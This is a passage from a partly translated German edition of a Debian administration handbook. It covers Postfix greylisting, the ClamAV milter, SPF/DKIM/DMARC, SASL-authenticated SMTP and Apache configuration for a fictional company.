smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Beispiel 11.10. Die Datei /etc/postfix/recipient_access

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. Integrating an Antivirus Filter

The many viruses circulating as attachments to emails make it important to set up an antivirus solution at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.

SICHERHEIT Kontroverse Diskussion über Anti-Virus-Software

Der Einsatz von Virenscannern oder sogenannter Antiviren-Software ist umstritten. In der Regel besteht eine zeitliche Lücke zwischen der Veröffentlichung eines Schadprogramms und der Aufnahme von Erkennungsregeln in die Antiviren-Datenbank. Während dieser Lücke gibt es keinen softwarebasierten Schutz. Darüber hinaus erfordert der Einsatz oft den Einsatz zusätzlicher Software, z.B. zum Dekomprimieren von Archiven und zum Scannen aller Arten von ausführbaren Dateien, was das Potenzial der Ausnutzung der Antiviren-Software selbst drastisch erhöht. Der Einsatz solcher Software-Lösungen kann daher niemals Aufklärungskampagnen und einfache Verhaltensregeln (niemals unaufgefordert versandte Anhänge öffnen, usw.) ersetzen.

The Falcot administrators selected clamav from the homonymous package.

Die Aufgabe, die Verbindung zwischen dem Virenschutz und dem E-Mail-Server bereitzustellen, fällt dem Programm clamav-milter zu. Ein Milter (kurz für Mailfilter) ist ein speziell für die Verbindung mit E-Mail-Servern ausgelegtes Programm. Ein Milter verwendet eine standardmäßige Programmierschnittstelle (API = application programming interface), die eine deutlich bessere Leistung aufweist als Filter außerhalb der E-Mail-Server. Milter wurden ursprünglich von Sendmail eingeführt, aber Postfix ist dem bald gefolgt.

KURZER BLICK Ein Milter für Spamassassin

Das Paket spamass-milter stellt einen Milter zur Verfügung, der auf SpamAssassin beruht, dem bekannten Suchprogramm für unerwünschte E-Mails. Er kann dazu benutzt werden, Nachrichten als möglichen Spam zu markieren (indem er eine zusätzliche Kopfzeile hinzufügt) oder die Nachrichten vollständig zurückzuweisen, falls ihr Spam-Grad einen bestimmten Schwellenwert übersteigt.

Nachdem das Paket clamav-milter installiert ist, sollte milter umkonfiguriert werden um auf einen TCP-Port statt auf den Named Socket aufzusetzen. Das geht mit dpkg-reconfigure clamav-milter. Wenn die Frage nach dem "Communication interface with Sendmail" gestellt wird geben Sie “inet:10002@127.0.0.1” ein.

ANMERKUNG Wirklicher TCP Port vs Named Socket

Der Grund, warum wir einen wirklichen TCP Port verwenden statt eines Named Socket liegt darin, dass die Postfix-Hintergrundprozesse oft mit chroot gestartet werden und keinen Zugriff auf die Verzeichnisse mit den Named Sockets haben. Sie können ebenso entscheiden, einen Named Socket zu verwenden und dafür einen Ort unterhalb des mit chroot gesetzten Wurzelverzeichnisses wählen (/var/spool/postfix/).

Die standardmäßige ClamAV-Konfiguration eignet sich für die meisten Situationen, aber einige wichtige Parameter können noch mit dpkg-reconfigure clamav-base angepasst werden.

Im letzten Schritt wird Postfix angewiesen, den neu konfigurierten Filter zu verwenden. Dies geschieht einfach durch das Hinzufügen der folgenden Anweisung zu /etc/postfix/main.cf:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

Falls der Virenschutz Probleme verursacht, kann diese Zeile kommentiert und dann systemctl reload postfix aufgerufen werden, damit diese Veränderung berücksichtigt wird.

IN DER PRAXIS Den Virenschutz überprüfen

Sobald der Virenschutz eingerichtet ist, sollte er einem Test unterworfen werden. Dies geschieht am einfachsten dadurch, dass man eine Test-E-Mail mit einem Anhang verschickt, der die Datei eicar.com (oder eicar.com.zip) enthält, die aus dem Internet heruntergeladen werden kann:

→ https://2016.eicar.org/86-0-Intended-use.html

Diese Datei ist kein wirkliches Virus, sondern eine Testdatei, die alle auf dem Markt befindlichen Virenschutzprogramme als Virus diagnostizieren, um so die Überprüfung von Installationen zu ermöglichen.

Alle Nachrichten, die von Postfix verarbeitet werden, laufen jetzt durch den Virenschutzfilter.

11.1.7. Spam-Bekämpfung mit SPF, DKIM und DMARC

Die hohe Anzahl unerwünschter E-Mails, die täglich gesendet werden, führte zur Schaffung mehrerer Standards, mit denen überprüft werden soll, ob der sendende Host einer E-Mail autorisiert ist und ob die E-Mail nicht manipuliert wurde. Die folgenden Systeme basieren alle auf DNS und erfordern, dass die Administratoren nicht nur die Kontrolle über den Mailserver haben, sondern auch über das DNS für die betreffende Domäne.

VORSICHT Kontroverse Diskussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefore these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integration des Sender Policy Framework (SPF)

Das Sender Policy Framework (SPF) wird verwendet, um zu überprüfen, ob ein bestimmter E-Mail-Server E-Mails für eine bestimmte Domäne senden darf. Er wird meist über DNS konfiguriert. Die Syntax für den vorzunehmenden Eintrag wird beschrieben unter:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to send email for the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Werfen wir einen kurzen Blick auf den Eintrag falcot.org.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Es besagt, dass die IP des Absenders mit dem A-Record für die absendende Domain übereinstimmen muss, als einer der Mail Exchange Resource Records für die aktuelle Domain aufgeführt sein muss oder eine der drei genannten IP4-Adressen sein muss. Alle anderen Hosts sollten so gekennzeichnet werden, dass sie keine E-Mails für die Absender-Domain senden dürfen. Letzteres wird als "Soft Fail" bezeichnet und soll die E-Mail entsprechend kennzeichnen, sie aber dennoch akzeptieren.

Der E-Mailserver postfix kann den SPF-Record für eingehende E-Mails mit dem Paket postfix-policyd-spf-python, einem in Python geschriebenen Policy-Agent, überprüfen. Die Datei /usr/share/doc/postfix-policyd-spf-python/README.Debian beschreibt die notwendigen Schritte, um den Agenten in Postfix zu integrieren, sodass wir ihn hier nicht wiederholen werden.

Die Konfiguration erfolgt in der Datei /etc/postfix-policyd-spf-python/policyd-spf.conf, die in policyd-spf.conf(5) und /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz vollständig dokumentiert ist. Die wichtigsten Konfigurationsparameter sind HELO_reject und Mail_From_reject, die konfigurieren, ob E-Mails zurückgewiesen (Fail) oder mit angehängtem Header (False) akzeptiert werden sollen, wenn die Prüfungen fehlschlagen. Letzteres ist oft nützlich, wenn die Nachricht von einem Spam-Filter weiterverarbeitet wird.

Wenn das Ergebnis von opendmarc (Abschnitt 11.1.7.3, „Integration der domänenbasierten Nachrichtenauthentifizierung, Berichterstattung und Konformität (DMARC)“) verwendet werden soll, dann muss Header_Type auf AR gesetzt werden.

Beachten Sie, dass spamassassin ein Plugin zur Überprüfung des SPF-Eintrags enthält.

11.1.7.2. Integration von DomainKeys (DKIM) Signatur und Prüfung

Der Standard Domain Keys Identified Mail (DKIM) ist ein Absender-Authentifizierungssystem. Der Mail-Transport-Agent, hier postfix, fügt dem Header ausgehender E-Mails eine dem Domänennamen zugeordnete digitale Signatur hinzu. Die empfangende Partei kann den Nachrichtentext und die Header-Felder validieren, indem sie die Signatur gegen einen öffentlichen Schlüssel prüft, der aus den DNS-Einträgen des Absenders abgerufen wird.

→ http://dkim.org/

Die erforderlichen Werkzeuge werden mit den Paketen opendkim und opendkim-tools ausgeliefert.

VORSICHT Mailinglisten-Software und DKIM

Mailinglisten-Manager schreiben oft einige E-Mail-Header um, was zu ungültigen DKIM-Signaturen führt. Selbst die Verwendung einer relaxed (entspannten) Kanonisierung verhindert dies nicht immer. Daher müssen die Administratoren genau auf die Log-Dateien des Mail-Servers achten, um solche Probleme zu identifizieren. Andernfalls könnten solche E-Mails als Spam markiert und zurückgewiesen werden.

Zuerst muss der private Schlüssel mit dem Befehl opendkim-genkey -s WAHLSCHALTER -d DOMÄNE erstellt werden. WAHLSCHALTER muss ein eindeutiger Name für den Schlüssel sein. Er kann so einfach wie "mail" oder das Erstellungsdatum sein, wenn Sie vorhaben, Schlüssel zu rotieren.

Beispiel 11.11. Erstellen Sie einen privaten Schlüssel zum Signieren von E-Mails von falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

Dadurch werden die Dateien /etc/dkimkeys/mail.private und /etc/dkimkeys/mail.txt erstellt und der entsprechende Besitz festgelegt. Die erste Datei enthält den privaten Schlüssel und die zweite den öffentlichen Schlüssel, der dem DNS hinzugefügt werden muss:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

Das opendkim-Paket in Debian ist standardmäßig auf eine Schlüsselgröße von 2048 Bit voreingestellt. Leider können einige DNS-Server nur Texteinträge mit einer maximalen Länge von 255 Zeichen verarbeiten, die durch die gewählte Standardschlüsselgröße überschritten wird. Verwenden Sie in diesem Fall die Option -b 1024, um eine kleinere Schlüsselgröße zu wählen. Wenn die Ausführung von opendkim-testkey erfolgreich ist, wurde der Eintrag erfolgreich eingerichtet. Die Syntax des Eintrags wird hier erklärt:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

Zur Konfiguration müssen opendkim, SOCKET und RUNDIR in /etc/default/opendkim ausgewählt werden. Bitte beachten Sie, dass SOCKET über postfix in seiner chroot-Umgebung zugänglich sein muss. Die weitere Konfiguration erfolgt in /etc/opendkim.conf. Es folgt ein Konfigurationsauszug, der sicherstellt, dass die Domain (Domäne) "falcot.com" und alle Subdomains (SubDomain) mit dem Selector (Wahlschalter) "mail" und dem einzelnen privaten Schlüssel (KeyFile) /etc/dkimkeys/mail.private signiert werden. Die "entspannte" Canonicalization (Kanonisierung) sowohl für die Kopfzeile als auch für den Textkörper toleriert leichte Änderungen (z.B. durch eine Mailinglisten-Software). Der Filter läuft sowohl beim Signieren ("s") als auch beim Verifizieren ("v") Modus. Wenn eine Signatur nicht validiert werden kann (On-BadSignature), sollte die E-Mail unter Quarantäne gestellt werden ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

Es ist auch möglich, mehrere Wahlschalter/Schlüssel (KeyTable) und Domänen (SigningTable) zu verwenden und interne oder vertrauenswürdige Hosts (InternalHosts, ExternalIgnoreList) anzugeben, die E-Mails ohne Anmeldeinformationen über den Server als eine der signierenden Domänen senden können.

Die folgenden Direktiven in /etc/postfix/main.cf bewirken, dass postfix den Filter verwendet:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

Zur Unterscheidung zwischen Signierung und Verifizierung ist es manchmal stattdessen sinnvoller, die Richtlinien den Diensten in /etc/postfix/master.cf hinzuzufügen.

Weitere Informationen finden Sie im Verzeichnis /usr/share/doc/opendkim/ und in den Handbuchseiten opendkim(8) und opendkim.conf(5).

Beachten Sie, dass spamassassin ein Plugin zur Überprüfung des DKIM-Eintrags enthält.

11.1.7.3. Integration der domänenbasierten Nachrichtenauthentifizierung, Berichterstattung und Konformität (DMARC)

Der Standard Domain-based Message Authentication, Reporting and Conformance (DMARC) kann verwendet werden, um einen DNS TXT-Eintrag mit dem Namen _dmarc und der Aktion zu definieren, die ausgeführt werden soll, wenn E-Mails, die Ihre Domain als sendenden Host enthalten, nicht mit DKIM und SPF validiert werden können.

→ https://dmarc.org/overview/

Werfen wir einen Blick auf die Einträge von zwei großen Providern:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo hat eine strikte Politik, alle E-Mails abzulehnen (reject), die vorgeben, von einem Yahoo-Konto aus gesendet zu werden, denen aber DKIM- und SPF-Prüfungen fehlen oder fehlschlagen. Google Mail (Gmail) propagiert eine sehr lockere Richtlinie, in der solche Nachrichten von der Hauptdomain weiterhin akzeptiert werden sollen (p=keine). Für Subdomains sollen sie als Spam markiert werden (sp=quarantine). Die im Schlüssel rua angegebenen Adressen können verwendet werden, um aggregierte DMARC-Berichte an diese zu senden. Die vollständige Syntax wird hier erklärt:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

Der Mailserver postfix kann diese Informationen ebenfalls nutzen. Das opendmarc-Paket enthält den notwendigen Milter. Ähnlich wie bei opendkim müssen SOCKET und RUNDIR in /etc/default/opendmarc gewählt werden (bei Unix-Sockets ist darauf zu achten, dass sie sich innerhalb des Postfix-Chroots befinden). Die Konfigurationsdatei /etc/opendmarc.conf enthält detaillierte Kommentare und wird auch in opendmarc.conf(5) erklärt. Standardmäßig werden E-Mails, die die DMARC-Validierung nicht bestehen, nicht zurückgewiesen, sondern durch Hinzufügen eines entsprechenden Header-Feldes gekennzeichnet. Um dies zu ändern, verwenden Sie RejectFailures true.

Der Milter wird dann zu smtpd_milters und non_smtpd_milters hinzugefügt. Wenn wir die Filter opendkim und opendmarc so konfiguriert haben, dass sie auf den Ports 12345 und 54321 laufen, sieht der Eintrag in /etc/postfix/main.cf wie folgt aus:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

Der Milter kann stattdessen auch selektiv auf einen Dienst in /etc/postfix/master.cf angewendet werden.

11.1.8. Authentifiziertes SMTP

Um E-Mails verschicken zu können, ist es erforderlich, dass ein SMTP-Server erreichbar ist; besagter SMTP-Server muss außerdem E-Mails durchleiten. Für Benutzer, die auf Reisen sind, würde dies bedeuten, dass die Konfiguration des SMTP-Clients regelmäßig geändert werden muss, da Falcots SMTP-Server Nachrichten abweist, die von IP-Adressen kommen, die offensichtlich nicht zum Unternehmen gehören. Es gibt zwei Lösungen: Entweder installiert ein Benutzer auf Reisen einen SMTP-Server auf seinem Rechner, oder er benutzt weiterhin den Unternehmensserver unter Verwendung einiger Hilfsmittel, mit denen er sich als Angestellter authentifiziert. Die erste Lösung wird nicht empfohlen, da der Rechner nicht ununterbrochen verbunden wäre und im Falle von Problemen nicht wiederholt versuchen könnte, Nachrichten zu senden; wir werden uns daher auf die zweite Lösung konzentrieren.

SMTP-Authentifizierung in Postfix ist auf SASL angewiesen (Simple Authentication and Security Layer). Hierzu ist es erforderlich, die Pakete libsasl2-modules und sasl2-bin zu installieren und dann für jeden Benutzer, der eine Authentifizierung beim SMTP-Server benötigt, ein Passwort in die SASL-Datenbank einzutragen. Dies geschieht mithilfe des Befehls saslpasswd2, der verschiedene Parameter akzeptiert. Die Option -u legt die Authentifizierungs-Domain fest, die mit dem Parameter smtpd_sasl_local_domain in der Postfix-Konfiguration übereinstimmen muss. Die Option -c ermöglicht das Anlegen eines Benutzers und -f gestattet es, die Datei zu bestimmen, die benutzt werden soll, wenn die SASL-Datenbank an einem anderen als dem standardmäßig vorgegebenen Ort (/etc/sasldb2) gespeichert werden muss.

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... geben Sie Jeans Passwort zweimal ein ...]

Beachten Sie, dass die SASL-Datenbank im Verzeichnis von Postfix erstellt worden ist. Um Konsistenz sicherzustellen, wandeln wir außerdem /etc/sasldb2 in einen symbolischen Verweis um, der auf die von Postfix verwendete Datenbank weist. Dies geschieht mit dem Befehl ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Nun müssen wir Postfix so einstellen, dass es SASL benutzt. Zunächst muss der Benutzer postfix zur Gruppe sasl hinzugefügt werden, damit er auf die Datenbank des SASL-Kontos zugreifen kann. Einige zusätzliche Parameter sind erforderlich, um SASL zu aktivieren, und der Parameter smtpd_recipient_restrictions muss so eingestellt werden, dass Benutzer, die für SASL authentifiziert sind, ungehindert E-Mails versenden können.

Beispiel 11.12. SASL in /etc/postfix/main.cf aktivieren

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

Es ist normalerweise keine gute Idee, Passwörter über eine unverschlüsselte Verbindung zu senden. Postfix erlaubt die Verwendung unterschiedlicher Konfigurationen für jeden Port (Dienst), auf dem er läuft. Diese können mit verschiedenen Regeln und Direktiven in der Datei /etc/postfix/master.cf konfiguriert werden. Um die Authentifizierung für Port 25 (smtpd-Dienst) überhaupt abzuschalten, fügen Sie die folgende Anweisung hinzu:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

Wenn Clients aus irgendeinem Grund einen veralteten AUTH-Befehl verwenden (einige sehr alte E-Mail-Clients tun dies), kann die Zusammenarbeit mit ihnen mit der Direktive broken_sasl_auth_clients aktiviert werden.

EXTRA Authentifizierter SMTP-Client

Die meisten E-Mail-Clients können sich bei einem SMTP-Server authentifizieren, bevor sie abgehende Nachrichten verschicken, und die Verwendung dieses Merkmals ist einfach eine Frage der passenden Parametereinstellung. Falls der verwendete Client diese Fähigkeit nicht besitzt, besteht eine Umgehungslösung darin, einen lokalen Postfix-Server zu verwenden und ihn für die Weiterleitung der E-Mails über den entfernten SMTP-Server einzustellen. In diesem Fall wird das lokale Postfix selbst der Client sein, der sich bei SASL authentifiziert. Hier sind die erforderlichen Parameter:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

Die Datei /etc/postfix/sasl_passwd muss den Benutzernamen und das Passwort zur Authentifizierung beim Server mail.falcot.com enthalten. Hier ist ein Beispiel:

[mail.falcot.com] joe:LyinIsji

Wie bei allen Postfix-Zuordnungen muss diese Datei mit dem Befehl postmap in die Datei /etc/postfix/sasl_passwd.db umgewandelt werden.

11.2. Webserver (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Bullseye at version 2.4.52.

ALTERNATIVE Andere Webserver

Apache is probably the most widely-known web server, but there are others. Its major opponent is nginx, which comes in different packages with different sets of features, like nginx-light, nginx-full, or nginx-extras. Another alternative is lighttpd. All of them can offer very good or even better performance under certain workloads or in certain situations, but not all provide the same number of available features and modules.

11.2.1. Apache installieren

Die Installation des Pakets apache2 genügt. Es enthält alle Module, einschließlich der Multi-Processing-Module (MPMs), die beeinflussen, wie der Apache mit der parallelen Verarbeitung vieler Anfragen umgeht, die früher in separaten apache2-mpm-*-Paketen bereitgestellt wurden. Auch wird es apache2-utils mit den Kommandozeilenprogrammen, die wir später behandeln werden, nachladen.

Das verwendete MPM beeinflusst wesentlich die Art und Weise, wie Apache gleichzeitige Anfragen behandelt. Mit dem worker MPM verwendet es Threads (leichte Prozesse), während es mit dem Prefork MPM einen Pool von im Voraus erstellten Prozessen verwendet. Mit dem Event MPM werden auch Threads verwendet, aber die inaktiven Verbindungen (insbesondere diejenigen, die durch das HTTP keep-alive Feature offen gehalten werden) werden an einen dedizierten Management Thread zurückgegeben.

The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

SICHERHEIT Ausführung unter dem Benutzer www-data

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

Der Einsatz der durch apache2-suexec-* zur Verfügung gestellten suexec-Module macht es möglich, diese Regel zu umgehen, sodass einige CGI-Skripte unter der Identität eines anderen Benutzers ausgeführt werden. Dies wird mit einer Anweisung der Art SuexecUserGroup BenutzerGruppe in der Apache-Konfiguration eingestellt.

Eine weitere Möglichkeit besteht darin, ein speziell hierfür vorgesehenes MPM zu benutzen, wie das von libapache2-mpm-itk bereitgestellte. Dieses Modul weist ein etwas abweichendes Verhalten auf: es ermöglicht das „Isolieren“ virtueller Hosts (eigentlich eine Anzahl Seiten), so dass jeder von ihnen als ein anderer Benutzer läuft. Eine Schwachstelle in einer Website kann somit keine Dateien gefährden, die dem Benutzer einer anderen Website gehören.

KURZER BLICK Liste der Module

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

Apache ist ein modularer Server, und viele Leistungsmerkmale werden durch externe Module umgesetzt, die das Hauptprogramm während der Initialisierung lädt. Die Standardkonfiguration aktiviert nur die gebräuchlichsten Module, aber das Aktivieren neuer Module geschieht einfach mit dem Befehl a2enmod modul; der Befehl zum Abschalten eines Moduls lautet a2dismod modul. Diese Programme erstellen (oder löschen) in Wirklichkeit nur symbolische Verknüpfungen in der Datei /etc/apache2/mods-enabled/, die auf die tatsächlichen Dateien zeigen (die in /etc/apache2/mods-available/ gespeichert sind).

IN DER PRAXIS Überprüfung der Konfiguration

Das Modul mod_info (a2enmod info) ermöglicht den Zugriff auf die umfassende Konfiguration und die Informationen des Apache-Servers über den Browser unter http://localhost/server-info. Da es sensible Informationen enthalten könnte, ist der Zugriff standardmäßig nur vom lokalen Host aus erlaubt.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

In seiner Standardkonfiguration nimmt der Webserver an Port 80 Verbindungen an (wie in /etc/apache2/ports.conf konfiguriert), und liefert Seiten aus dem Verzeichnis /var/www/html/ (wie in /etc/apache2/sites-enabled/000-default.conf konfiguriert).

11.2.2. Unterstützung für SSL hinzufügen

Apache 2.4 bringt von vornherein das für sicheres HTTP (HTTPS) erforderliche Modul (mod_ssl) mit. Man muss es nur durch den Befehl a2enmod ssl aktivieren und danach die erforderlichen Anweisungen zur Konfigurationsdatei hinzufügen. Ein Konfigurationsbeispiel wird in /etc/apache2/sites-available/default-ssl.conf bereitgestellt.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Wenn Sie vertrauenswürdige Zertifikate erzeugen möchten, können Sie dem Abschnitt Abschnitt 10.2.1, „Erstellen kostenloser vertrauenswürdiger Zertifikate“ folgen und dann die folgenden Variablen anpassen:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. Virtuelle Hosts konfigurieren

Ein virtueller Host ist eine zusätzliche Identität des Web-Servers.

Apache berücksichtigt zwei verschiedene Arten virtueller Hosts: diejenigen, die auf der IP-Adresse (oder dem Port) basieren, und diejenigen, die sich auf den Domainnamen des Web-Servers stützen. Bei der ersten Methode muss jeder Seite eine andere IP-Adresse (oder ein anderer Port) zugeordnet werden, während die zweite mit einer einzigen IP-Adresse (und einem einzigen Port) auskommt und die Seiten durch den Hostnamen, der vom HTTP-Client gesendet wird, unterschieden werden (was nur in Version 1.1 des HTTP-Protokolls funktioniert - glücklicherweise ist diese Version schon so alt, dass alle Clients sie verwenden).

Die (zunehmende) Knappheit von IPv4-Adressen begünstigt gewöhnlich die zweite Methode; jedoch ist sie komplizierter, wenn der virtuelle Host auch HTTPS bereitstellen muss, da das SSL-Protokoll nicht von jeher virtuelles Hosting auf Namensbasis ermöglicht hat. Nicht alle Browser können mit der SNI-Erweiterung (Server Name Indication), die diese Kombination ermöglicht, umgehen. Wenn mehrere HTTPS-Seiten auf demselben Server laufen müssen, werden sie gewöhnlich dadurch unterschieden, dass sie auf verschiedenen Ports laufen oder unter verschiedenen IP-Adressen (IPv6 ist hier hilfreich).

Die Standardkonfiguration für Apache 2 aktiviert virtuelle Hosts auf Namensbasis. Zusätzlich wird ein voreingestellter virtueller Host in der Datei /etc/apache2/sites-enabled/000-default.conf ausgewiesen; dieser virtuelle Host wird verwendet, wenn es keinen anderen Host gibt, der zur Anfrage des Clients passt.

VORSICHT Erster virtueller Host

Anfragen an unbekannte virtuelle Hosts werden stets vom ersten ausgewiesenen virtuellen Host bedient, weshalb wir hier als erstes www.falcot.com bestimmt haben.

KURZER BLICK Apache unterstützt SNI

Der Apache-Server unterstützt eine SSL-Protokollerweiterung namens Server Name Indication (SNI). Diese Erweiterung ermöglicht es dem Browser, den Hostnamen während des Aufbaus der SSL-Verbindung zu senden, viel früher als die HTTP-Anfrage selbst, die vorher dazu benutzt wurde, den gewünschten virtuellen Host unter denen zu identifizieren, die auf demselben Server (mit derselben IP-Adresse und demselben Port) untergebracht sind.

Vor SNI hätte Apache stets das Zertifikat des voreingestellten virtuellen Hosts verwendet. Clients, die auf einen anderen virtuellen Host zugreifen wollten, würden dann Warnmeldungen anzeigen, da das erhaltene Zertifikat nicht zu der Website passte, auf die sie zugreifen wollten. Glücklicherweise arbeiten die meisten Browser inzwischen mit SNI; hierzu gehören Microsoft Internet Explorer ab Version 7.0 (ab Vista), Mozilla Firefox ab Version 2.0, Apple Safari ab Version 3.2.1 und alle Versionen von Google Chrome.

Das in Debian bereitgestellte Apache-Paket wird mit Unterstützung für SNI erstellt; daher ist keine besondere Konfiguration erforderlich.

Jeder zusätzliche virtuelle Host wird dann in einer unter /etc/apache2/sites-available/ gespeicherten Datei festgelegt. Die Einrichtung einer Website für die Domain falcot.org erfordert daher nur die Erstellung der folgenden Datei und anschließend die Aktivierung des virtuellen Hosts mit dem Befehl a2ensite www.falcot.org.

Beispiel 11.13. Die Datei /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

Der Apache-Server, so wie er bis jetzt konfiguriert ist, benutzt für alle virtuellen Hosts dieselben Protokolldateien (obwohl dies durch das Hinzufügen von CustomLog-Anweisungen in den Definitionen der virtuellen Hosts geändert werden könnte). Es ist daher sehr sinnvoll, das Format dieser Protokolldatei so anzupassen, dass es den Namen des virtuellen Hosts enthält. Dies kann durch die Erstellung einer Datei namens /etc/apache2/conf-available/customlog.conf erreicht werden, die für alle Protokolldateien (mit der LogFormat-Anweisung) ein anderes Format festlegt und durch Einschalten mit a2enconf customlog. Außerdem muss die CustomLog-Zeile aus der Datei /etc/apache2/sites-available/000-default.conf entfernt (oder auskommentiert) werden.

Beispiel 11.14. Die Datei /etc/apache2/conf-available/customlog.conf

# Neues Log-Format einschließlich des (virtuellen) Hostnamens LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Jetzt soll dieses „vhost“-Format standardmäßig benutzt werden CustomLog /var/log/apache2/access.log vhost

11.2.4. Gebräuchliche Anweisungen

Dieser Abschnitt rekapituliert in Kürze einige der häufig genutzten Konfigurations-Direktiven von Apache.

Die Hauptkonfigurationsdatei enthält gewöhnlich mehrere Directory-Blöcke; sie ermöglichen es, unterschiedliches Verhalten des Servers in Abhängigkeit von der zu liefernden Datei festzulegen. Solch ein Block enthält häufig Anweisungen des Typs Options und AllowOverride.

Beispiel 11.15. Verzeichnisblock

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

Die Anweisung DirectoryIndex enthält eine Liste von Dateien, die ausgewählt werden sollen, wenn die Client-Anfrage auf ein Verzeichnis zutrifft. Die in der Liste als erste aufgeführte Datei wird herangezogen und als Antwort gesendet.

Auf die Anweisung Options folgt eine Liste von zu aktivierenden Optionen. Der Wert None deaktiviert alle Optionen; dementsprechend aktiviert All alle außer MultiViews. Unter anderem stehen folgende Optionen zur Verfügung:

ExecCGI bedeutet, dass CGI-Skripte ausgeführt werden können.

FollowSymlinks teilt dem Server mit, dass er symbolischen Verweisen folgen kann und dass die Antwort den Inhalt des Ziels solcher Verweise enthalten soll.

SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

Includes aktiviert Server Side Includes (abgekürzt SSI). Dies sind in HTML-Seiten eingebettete Anweisungen, die bei jeder Anforderung im laufenden Betrieb ausgeführt werden.

IncludesNOEXEC lässt Server Side Includes (SSI) zu, deaktiviert jedoch den Befehl exec und beschränkt die Direktive include auf Text-/Markup-Dateien.

